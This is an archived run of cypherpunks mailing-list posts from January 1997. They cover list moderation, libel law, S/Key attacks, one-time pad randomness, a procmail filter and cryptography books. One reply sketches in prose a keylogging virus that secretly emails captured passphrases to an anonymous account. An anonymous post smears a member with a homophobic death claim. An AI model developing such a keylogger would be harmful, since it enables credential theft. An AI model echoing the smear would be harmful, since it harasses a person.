We have had problems in the past with forgeries, and should retain this
basic tool for evaluating a message's source.

<preemptive remarks>
I know I could get these from the unmoderated list -- but I prefer the
moderated version so far, and think they should be here also.
I know PGP signatures are a better way of authenticating a message.
</preemptive remarks>

---------- Forwarded message ----------
Received: from toad.com (toad.com [140.174.2.1]) by mail.msen.com (8.8.5/8.6.12) with ESMTP id KAA02344 for <lwp@mail.msen.com>; Mon, 27 Jan 1997 10:58:05 -0500 (EST)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id GAA24082; Mon, 27 Jan 1997 06:41:04 -0800 (PST)
Message-Id: <199701271441.GAA24082@toad.com>
Date: Mon, 27 Jan 1997 04:33:05 -0800
From: Toto <toto@sk.sympatico.ca>
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Cc: cypherpunks@toad.com
Subject: Re: Fantasy quotes & libel
Sender: owner-cypherpunks@toad.com
Precedence: bulk

[ message body irrelevant ]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Mon, 27 Jan 1997 11:27:15 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701271927.LAA02277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk said:
> > I think both of these groups are intellectually dishonest in the
> > extreme when it comes to telling others how this list should be
> > run.  I doubt any of them would permit the sort of disruptive
> > behavior that goes on here to go unchallenged in salons they
> > sponsor in their own homes or on Net lists that they themselves 
> > maintain.
> 
> If you want to talk about intellectual dishonesty try the following:
> 
> Imagine if you will a list, the original purpose of which was
> to act as a free and open forum for discussion of cryptography and 
> related issues. A list which proudly proclaims in its "welcome to 
> the list" message:
> 
> We do not seek to prevent other people from
> speaking about their experiences or their opinions.
> 
> Now imagine that list falling into a state of content based 
> censorship and censorship based on an unspoken but ever present 
> class structure, then ask yourself which list you know that most 
> closely matches this description, it`s a pretty revealing exercise.

The exercise reveals to me that only by ignoring the first paragraph
of your example, the part that reads "Imagine if you will a list, 
the original purpose of which was to act as a free and open forum 
for discussion of cryptography and related issues." can you make
a claim of content based censorship. The purpose of this list was
and should be discussion of cryptography and related issues. The
fact that some people choose this as a forum for personal attacks
and blathering about issues that are not even vaguely related to
the discussion of cryptography and related issues does not make it
a proper forum for such communication.

> > This is a voluntary list folks.  We tried incivility and that did
> > not work.  Right now we are experimenting with reasoned discourse
> > in an atmosphere of interpersonal respect and good will. 
> 
> For "Reasoned discourse in an atmosphere of interpersonal respect and 
> good will" read "content based censorship".

For "voluntary list" read "voluntary list".

> 
> > If most list members like the change, it will continue.  If not, then we
> > can go back to the swill or perhaps try something else.  In the
> > meantime, get over it.  If you really like flames and spam, show
> > John and me how it really should be done.  Start another list.  
> > Of course squating and claim jumping appeal to the lazy a lot
> > more than homesteading.
> 
> It is a foregone conclusion that the upper class of list members will 
> have no dispute over the censorship and therefore the change will be 
> permenant, it is a form of online ethnic cleansing whereby the lists 
> clique of illuminati have taken it upon themselves to remove the 
> elements of the list they feel endanger their position of superiority 
> and respect, the point they have missed is that they have no 
> credibility whatsoever after this incident, as well as a number of 
> other such occurances and therefore are only isolating themselves 
> into their own little world.

The Big Lie once again. yadda yadda yadda "Censorship!" yadda yadda
yadda "No Credibility" yadda yadda yadda ad nauseum.

> 
> "cypherpunks will make the networks safe for censorship"

"Idiots will make the networks require censorship"

-- 
Kevin L. Prigge                     | Some mornings, it's just not worth
Systems Software Programmer         | chewing through the leather straps.
Internet Enterprise - OIT           | - Emo Phillips
University of Minnesota             |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 27 Jan 1997 11:29:45 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Privacy/info site
Message-ID: <199701271929.LAA02341@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I stumbled upon this site and  have not had an opportunity to visit it
<underline>in toto </underline>(certainly no pun intended, Mr. Toto).
Seems to have a wealth of info and links for the military/security
oriented.



http://hrvati.cronet.com/mprofaca/mcsusa2.html


Alec





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 27 Jan 1997 14:13:04 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701272213.OAA07242@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Sandy Sandfort

(By the way, if you don't like moderation, you would hate Eric Hughes'
favored solution.)
...............................................


What was that?

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Mon, 27 Jan 1997 11:31:46 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: Xerox is watching you
Message-ID: <199701271931.LAA02403@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Martin Minow sez:
> 
> You'll find an article worth a visit to the dentist in the January
> 1997 issue of Popular Science. It tells a story from the 1960's
> cold war era.

You might take this to alt.folklore.urban. Barring any factual
support, it better fits there. After all Popular Science once had
their famous battery carrier design, and an older friend related
reading of their scheme to reduce the weight of battle tanks to get
them up the Burma Road during WWII. It involved helium, and to
reduce space, it was to be compressed into large cylinders bolted to
the sides........

-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SpyKing <spyking@thecodex.com>
Date: Mon, 27 Jan 1997 11:41:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Best Computer School?
Message-ID: <199701271941.LAA02719@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This is a little off topic but maybe someone can help. I've got a teenage
son (HS sophomore) who's interested in majoring in computer science in
college with a particular interest in cryptography. He's leaning toward MIT.
Any suggestions from list members as to colleges to investigate? 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Mon, 27 Jan 1997 14:11:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Shave the Whales
Message-ID: <199701272211.OAA07204@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Disruptive Vasectomy died of AIDS last night with his
homosexual lover.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Disruptive Vasectomy







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Shaft <shaft@africamail.com>
Date: Mon, 27 Jan 1997 11:47:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Passphrase Online...
Message-ID: <199701271947.LAA03025@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>>If I am connected to the Internet via a SLIP/PPP connection and I
>>type my passphrase while being online (for example, in Private
>>Idaho, after getting my mail), could that passphrase be compromised?
>>If so, how would that be done?

There are a number of things that can happen. Basically, if you don't
directly control the device/application that is doing the encryption for
you, you run the risk of someone intercepting whatever you xmit. For
example, if you have a dial up type shell account with your local ISP, and
you depend on some UNIX based encryption program to secure your mail
(running on the ISP's machine), anyone with root access can tap the tty and
watch you enter your passphrase. You're also susceptable (sp?) to someone
taping your phone line and looking at you with a packet analyzer. 

I suppose if you were doing something locally, and someone wanted to be
really sneaky, they could embed something like keycopy on your machine (with
a virus or something) and get coppied every time you enter a keystroke. I
don't suppose it would be all that difficult to get a machine to run a tsr
that got kicked off every time you accessed something like, say ,
PGP....Comments?

Shaft! Damn Straigt.

shaft@africamail.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Mon, 27 Jan 1997 14:53:57 -0800 (PST)
To: Blanc Weber <blancw@microsoft.com>
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701272253.OAA08340@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 27 Jan 1997, Blanc Weber wrote:

> From:	Sandy Sandfort
> 
> (By the way, if you don't like moderation, you would hate Eric Hughes'
> favored solution.)
> ...............................................
> 
> 
> What was that?

Eric, would like to require a deposit ($20 was the example he
gave) from subscriber/posters.  Non-subscribers would not be 
allowed to post.  Subscribers who voluntarily left the list, 
would get their deposit back.  Subscribers who flamed twice 
(every dog gets one bite) would be kicked off the list and their 
deposit would be forfeited (or perhaps turned over to the flame 
victim).


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iamme <ja94a08@tdi.itm.edu.my>
Date: Mon, 27 Jan 1997 06:25:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: casio dialer
Message-ID: <199701271425.GAA23737@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


anyone heard of casio .. phone dialer watch ? it's stated that user can phone 
for free using public phone .. anyone ?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 27 Jan 1997 14:52:33 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701272252.OAA08289@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:

>I am not sure if you posted this information in response to my request
>to cite a statute that would prove that libel is a crime.
>
>Me> Jim Choate wrote:
>Me> > 
>Me> > 
>Me> > 
>Me> > Are you aware that attributing statements in print to a party when that
>Me> > party did not write them is a crime?
>Me> 
>Me> cite the statute
>
>
>These postings do not prove that libel is a crime. It is because libel
>is not a crime. Libel is a tort, and unlike with crime, the government
>cannot initiate a legal action against someone for libel. Only injured
>(libeled) individuals and not the government can sue in a libel case.

On the contrary, in some jurisdictions libel is indeed a crime. However, 
that doesn't mean that prosecutions happen anymore, but the laws are (in 
some places) still  on the books.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 27 Jan 1997 14:52:34 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701272252.OAA08288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:

>I am not sure if you posted this information in response to my request
>to cite a statute that would prove that libel is a crime.
>
>Me> Jim Choate wrote:
>Me> > 
>Me> > 
>Me> > 
>Me> > Are you aware that attributing statements in print to a party when that
>Me> > party did not write them is a crime?
>Me> 
>Me> cite the statute
>
>
>These postings do not prove that libel is a crime. It is because libel
>is not a crime. Libel is a tort, and unlike with crime, the government
>cannot initiate a legal action against someone for libel. Only injured
>(libeled) individuals and not the government can sue in a libel case.

On the contrary, in some jurisdictions libel is indeed a crime. However, 
that doesn't mean that prosecutions happen anymore, but the laws are (in 
some places) still  on the books.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 27 Jan 1997 13:42:03 -0800 (PST)
To: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701272142.NAA06336@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Kevin L Prigge wrote:
> paul@fatmans.demon.co.uk said:
> > > I think both of these groups are intellectually dishonest in the
> > > extreme when it comes to telling others how this list should be
> > > run.  I doubt any of them would permit the sort of disruptive
> > > behavior that goes on here to go unchallenged in salons they
> > > sponsor in their own homes or on Net lists that they themselves 
> > > maintain.
> > 
> > If you want to talk about intellectual dishonesty try the following:
> > 
> > Imagine if you will a list, the original purpose of which was
> > to act as a free and open forum for discussion of cryptography and 
> > related issues. A list which proudly proclaims in its "welcome to 
> > the list" message:
> > 
> > We do not seek to prevent other people from
> > speaking about their experiences or their opinions.
> > 
> > Now imagine that list falling into a state of content based 
> > censorship and censorship based on an unspoken but ever present 
> > class structure, then ask yourself which list you know that most 
> > closely matches this description, it`s a pretty revealing exercise.
> 
> The exercise reveals to me that only by ignoring the first paragraph
> of your example, the part that reads "Imagine if you will a list, 
> the original purpose of which was to act as a free and open forum 
> for discussion of cryptography and related issues." can you make
> a claim of content based censorship. The purpose of this list was

Then why discussion of machine guns should be allowed here?

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Mon, 27 Jan 1997 14:55:17 -0800 (PST)
To: John Shaft <shaft@africamail.com>
Subject: Re: Passphrase Online...
Message-ID: <199701272255.OAA08389@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> I suppose if you were doing something locally, and someone wanted to be
> really sneaky, they could embed something like keycopy on your machine (with
> a virus or something) and get coppied every time you enter a keystroke. I
> don't suppose it would be all that difficult to get a machine to run a tsr
> that got kicked off every time you accessed something like, say ,
> PGP....Comments?

Ok, just something that would be a nasty little virii in its own way...
If there was a virii produced that copied down a persons keystrokes every
time, and then when they logged onto the InterNet aka aachieved a PPP/Slip
connection, it automatically sent (without there knowing) a copy of all
the keystorkes they have made so far, and then deletes them from an
encrypted file, or from within a file it has been adding them too
*shrug*...
.. aka Automatically sends it to say an anonymous email account or some
such.

Ok *shrug*  jsut an idea...  later.....

Erp
***************************************************

Hey we have fun here at hell!  Check us out if your lucky:
http://www.fromhell.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Mon, 27 Jan 1997 16:03:06 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Best Computer School?
Message-ID: <199701280003.QAA10002@toad.com>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 27 Jan 1997, SpyKing wrote:

> This is a little off topic but maybe someone can help. I've got a teenage
> son (HS sophomore) who's interested in majoring in computer science in
> college with a particular interest in cryptography. He's leaning toward MIT.
> Any suggestions from list members as to colleges to investigate? 

Well in reference to MIT..  I hope he has a 4.0 in highschool, is an
allsport, has a 1600 on his SAT's, and a prefect on his ACT..  Just to
even think about going there..  Let alone to include how well he'll have
to do on his interviews etc..  Also you may wish to have him look again at
what he wants to be before he goes to some major college such as MIT,
because tuition at MIT costs approx 100,000$/4 years.  Personally that is
a hell of a lot, but then again *shrug*...  I recommend going to a local
small college, get his associates, see if that is what he still wants to
do, then go on from there.  I know many people that started in Computer
Science and died after the first year.  
Now colleges that are good for Computer Sc ience..  I have heard that RIT
is good..  but I'm nto sure on that..  I know pretty well positive that
MIT is excellent, but when you get down to the basics MIT is more of an
engineering school than a science/philosophical school which Computer
Sciences falls under..  Another good school from what I've heard is UCLA..
then again you can discredit anything I've said, because I'm still a
HighSchool senior myself and have been looking into Computer Criminology
for the last three years, and I'm positive it is what i want so *shrug*..

Ok later...

Erp


**********************************************************8

See about coming from hell at:  http://www.fromhell.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 27 Jan 1997 14:31:27 -0800 (PST)
To: cypherpunks <lwp@mail.msen.com>
Subject: Re: Moderated list is missing headers
Message-ID: <199701272231.OAA07671@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 27 Jan 1997, Lou Poppler wrote:

> The arguments about imaginary quotes and libel are harder to untangle
> because the moderation process seems to consume the mail headers showing
> the messages' travels before reaching toad.com.  I suggest that these
> headers are signal not noise, and should be propagated if at all possible.
> We have had problems in the past with forgeries, and should retain this
> basic tool for evaluating a message's source.

I agree, except I rely on this to sort the moderated and unmoderated lists into
separate folders.  I'm sure the bugs are still being worked out, but it would
be much easier to filter if the sender header was set appropriately.  Here's
the procmail recipe in case anyone's interested:

:0
* ^Sender: owner-cypherpunks@toad.com
{
	:0
	* -1^1 ^Received:
	* 4^1  ^Received:.*from majordom@localhost.*by toad.com
	* ^Message-Id:.*toad.com
	in.cpunks

	:0
	unedited
}

The number 4 should be changed depending on how many hops a message must make
to reach its destination.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMu0gyyzIPc7jvyFpAQGCrAgAlIT6oSZ18sVGuMQWeszAWPE67BwMRx/1
2CLsrtpCaKfj5j+C5DsT2dpv4IhlOFOftrtCPL8KOEot5YRg3mUeUl7efwfnioeB
UmM3h7Zx8W5RFZlTlhMim58G5o88jYVE3Rsov+f8nYM9hoXPDyjgoZmnG4BUn8Ca
saL3ul2zO39bB4YwRmBKCeXRBzefmaowJbdC7Hl+S+uU61+Dbtbk/Fq2o5B9Gsvq
wjg3QF4u+oyDCfcxdmLajL9tE6K7L2bgEkvi9kxt7AUP5e/l53epXK9cFplYF0B6
qgPd0shYmWiTSbhjQ4tw6jZkxuyxWqFX/nAHGp7Tciqp/rIkwX/tNQ==
=riw1
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 17:02:30 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: OTP security
Message-ID: <199701280102.RAA11550@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> I was thinking about the thread we had a week or so ago about OTPs.  Say
> I'm going to burn a CD of what I think are cryptographically random bits,
> but somehow I end up with part of my stream being predictable (say every
> 16th bit).  What does this do to the security of my CD?

Depends on how that 16th bit is related to the other bits and whether 
these predictable bits give any information about the other bits on 
the disk.

If we assume all the other bits are true random and that the 16th 
bits are predictable only in that they can be predicted left and 
right but do not depend upon the other bits not in positions 16, 32, 
48, 16n etc... we can just discard them and use the rest obtaining 
perfect security. We can even use all the bits and all we lose is one 
bit every two bytes and therefore if we are calling the bytes ASCII 
and say adding mod 13 we only have "imperfect" security on every 2nd 
character where there are 2^7 eg. 128 possible characters. 
Suprisingly this yields perfect security as there are still a number of
possible pads which lead to reasonable and plausible decryptions.



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 27 Jan 1997 15:59:53 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701272359.PAA09886@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> > (By the way, if you don't like moderation, you would hate Eric Hughes'
> > favored solution.)
> > What was that?
> 
> Eric, would like to require a deposit ($20 was the example he
> gave) from subscriber/posters.  Non-subscribers would not be 
> allowed to post.  Subscribers who voluntarily left the list, 
> would get their deposit back.  Subscribers who flamed twice 
> (every dog gets one bite) would be kicked off the list and their 
> deposit would be forfeited (or perhaps turned over to the flame 
> victim).

Obviously, you will not be able to effectively collect from non-posters,
since anyone would be able to resell subscriptions. 

Also, anyone can create a usenet newsgroups like alt.cypherpunks,
or cypherpunks.general, which would be free.

Lots of competing cypherpunks mailing lists would spring up.

You would make some money out of it (like maybe $700 or so), but would
waste so much time that it would not be worth the trouble.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 27 Jan 1997 17:26:17 -0800 (PST)
To: Erp <erp@digiforest.com>
Subject: Re: Best Computer School?
Message-ID: <199701280126.RAA12277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


moscow state university in russia is not bad also.

they teach lots of theory... which is good.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mullen, Patrick <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Mon, 27 Jan 1997 14:46:10 -0800 (PST)
To: "'Cypherpunks'" <coderpunks@toad.com>
Subject: Handbook of Applied Cryptography
Message-ID: <199701272246.OAA08096@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(My apologies if someone else has posted this information and I missed
it.)

_Handbook_of_Applied_Cryptography_, Menezes, Oorschot, Vanstone, 
	CRC Press, Boca Raton, 1997

With a foreword by R.L. Rivest

Contents in Brief:
Table of Contents	v
List of Tables		xv
List of Figures		xix
Foreword		xxi
Preface			xxiii

1 Overview of Cryptography	1
2 Mathematical Background	49
3 Number-Theoretic Reverence
	Problems		87
4 Pulic-Key Parameters		133
5 Pseudorandom Bits and
	Sequences		169
6 Stream Ciphers		191
7 Block Ciphers			223
8 Public-Key Encryption		283
9 Hash Functions and Data
	Integrity			321
10 Identification and Entity
	Authentication		385
11 Digital Signatures		425
12 Key Establishment 
	Protocols		489
13 Key Management Techniques	543
14 Efficient Implementation	591
15 Patents and Standards	635
A Bibliography of Papers from
	Selected Cryptographic
	Forums			663

References			703
Index				775

>From the back cover:

<< BEGIN QUOTE >>
Cryptography, in particular public-key cryptography, has emerged in the
las 20 years as an important discipline that is not only the subject of
an
enormous amount of research, but provides the foundation for information
security in many applications.  Standards are emerging to meet the
demands
for cryptographic protection in most areas of data communications.
Public-
key cryptographic techniques are now in widespread use in industry, 
especially in the financial services industry, in the public sector, and
by
individuals for their personal privacy, such as in electronic mail.
This 
Handbook will serve as a valuable reference for the novice as well as
for
the expert who needs a wider scope of coverage within the aread of
cryptography.  It is a necessary and timely guide for professionals who
practice the art of cryptography.

The _Handbook_of_Applied_Cryptography_ provides a treatment that 
is multifunctional:

* It serves as an introduction to the more practical aspects of
  both conventional and public-key cryptography

* It is a valuable source of the latest techniques and algorithms
  for the serious practitioner

* It provides an integrated treatment of the field, whil still
  presenting each major topic as a self-contained unit

* It provides a mathematical treatment to accompany 
  practical discussions

* It contains enough abstractoin to be a valuable reference for
  theoreticians while containing enough detail to actually allow
  implementation of the algorithms discussed

This is the definitive cryptography reference that novice as well as
experienced
developers, designers, researchers, engineers, computer scientists, and
mathematicials alike will find indispensable.
<< END QUOTE >>

~~ Patrick






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter M Allan <peter.allan@aeat.co.uk>
Date: Mon, 27 Jan 1997 11:49:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: S/KEY (was: 2 Questions)
Message-ID: <199701271949.LAA03073@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Steven M Orrin <privsoft@ix.netcom.com> wrote:
> Hey guys,
> 2 quick questions:

> Are there any known hacks or weaknesses in S/Key?


S/Key has a rather limited scope, in aiming to prevent replay attacks.
These are where somebody snoops on your network to obtain passwords,
an uses them in later login attempts.  This is undoubtedly a major
weakness in most current networks.  S/Key addresses this replay of data
obtained in passive eavesdropping, but that is all it does.

Several attacks against S/Key have been discussed [1], including:

   race attacks:  eavesdropping most of the hash, and racing the user
                  to provide the rest of it

   active attacks:  impersonating the server to learn future hashes
                    or simply hijacking an established session.

Strengthening S/Key really means expanding the scope to get an
authenticated and encrypted 2-way connection.  [John Gilmore's S/WAN may
end up achieving this.  I'm not familiar with it (yet?).]

Ideas for improving S/Key that involve secret data stored on the server
tend to get frowned on, as the original aim was to avoid that.  In any case
you cannot get the full encrypted 2-way connection without getting a whole
lot more complicated.

Recent discussions [2] have centred on ways to rekey the list of hashes remotely when
the count runs down.  These changes, and S/Key itself, are better than nothing
but where's the ham sandwich ? [3]

Beside the protocol weakness there is potential for finding collisions in the hash
function (MD4 originally).  A choice of hash functions can be provided. See RFC-1938.
  

1) See also SecureID, which is more complicated and still subject
   to similar attacks.

2) Not here.

3) Old joke.  A ham sandwich is better than nothing, and nothing is better than
   a life of complete happiness, so ......




 -- Peter Allan    peter.allan@aeat.co.uk







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 27 Jan 1997 17:07:54 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
Message-ID: <199701280107.RAA11760@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, Dale Thorn wrote:

> Nurdane Oksas wrote:
> > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > Nurdane Oksas wrote:
> > > > California is know for very beautiful girls ...
> 
> > > wrong.
> 
> > well, seems D. Thorn agrees with the song: 'california girls'
> 
> Depends on where you go, and what time of year. So. Cal. is no doubt
> a revolving door for the girl markets, especially on the beach board-
> walks, or on San Vicente where a lot of joggers run.

	seems, Americans like their own women , which is all they
	have seen maybe...
	
> 
> Anywhere else and it's no different from Cleveland or Pittsburgh.

	Well, can you say you've been 'anywhere else'?

	Regards,	






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven M Orrin <privsoft@ix.netcom.com>
Date: Mon, 27 Jan 1997 19:41:05 -0800 (PST)
Subject: Re: S/KEY (was: 2 Questions)
Message-ID: <199701280341.TAA15650@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Bill and Peter for your help.
Steveo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 27 Jan 1997 19:11:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Handbook of Applied Cryptography
Message-ID: <199701280311.TAA14917@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's the publisher's URL for Handbook of Applied Cryptography, 
which amplifies Patrick's summary, and gives ordering info.

     http://www.crcpress.com/PRODS/8523.HTM

Just reading the mouthwatering summaries and the extensive, detailed 
list of topics is a good primer on crypto.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 28 Jan 1997 13:09:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Handbook of Applied Cryptography
Message-ID: <199701282109.NAA01903@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's the publisher's URL for Handbook of Applied Cryptography, 
which amplifies Patrick's summary, and gives ordering info.

     http://www.crcpress.com/PRODS/8523.HTM

Just reading the mouthwatering summaries and the extensive, detailed 
list of topics is a good primer on crypto.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rob <wlkngowl@unix.asb.com>
Date: Mon, 27 Jan 1997 12:11:56 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <199701272011.MAA03701@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 26 Jan 1997 18:59:32 -0500, you wrote:
[..]
>It doesn't seem to work with the mail program in MS IE, or MS WordMail.
>I understand why some people don't like Microsoft, but excluding
>support for popular Microsoft programs seems contrary to their
>stated goal of promoting the use of crypto.

I believe (according to their page) it's in the works to add support for
other programs.

It might also be that the MS CryptoAPI may impose limitations on crypto
plug-ins that require annoying hacks to use conveniently. But maybe not...

I'm surprised the didn't mention Pegasus Mail, which is an amazing "hot"
mailer, with a sort-of built-in crypto plug-in capability... it's also free.

Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 27 Jan 1997 20:40:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701280440.UAA17424@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:04 PM 1/27/97 -0800, Sandy Sandfort wrote:
...
>Eric, would like to require a deposit ($20 was the example he
>gave) from subscriber/posters.  Non-subscribers would not be 
>allowed to post.  Subscribers who voluntarily left the list, 
>would get their deposit back.  Subscribers who flamed twice 
>(every dog gets one bite) would be kicked off the list and their 
>deposit would be forfeited (or perhaps turned over to the flame 
>victim).

I know that this wasn't your idea, and am not critisizing you.
This idea would be great if everyone had an equal access to funds.  Persons
willing to part with funds could flame people indiscriminately.  Persons
with more money, meaning no bills or very few in relation to capitol, would
be more willing to part with funds.  Suddendly, the rich control the press
again, at least to the extent that they would be able to say anything.  The
rich would be more equal.
The plan could be hacked.  With several accounts, perhaps stolen, forged,
etc. a person submits the $20, flames h[is/er] victim, unsubscribes,
collects h[is/er] deposit, resubscribes under a new name, and repeats the cycle.
Plus, as has been said before, the definition of a flame is subjective.  It
has been shown that children with more symettrical faces get along better
with teachers.  It has been shown that even uncorrupted babies know what
physical beauty is.  If there is any ability to pre-judge a persons
character before reading the post, than the post is more likely to be judged
accordingly.
I hope that you will be fair in your determinations, and I assume that you
will do your best.  But I still worry, only because that you are human.
And humans make mistakes.
At least the current moderation doesn't cost any one twenty bucks.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Mon, 27 Jan 1997 19:32:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
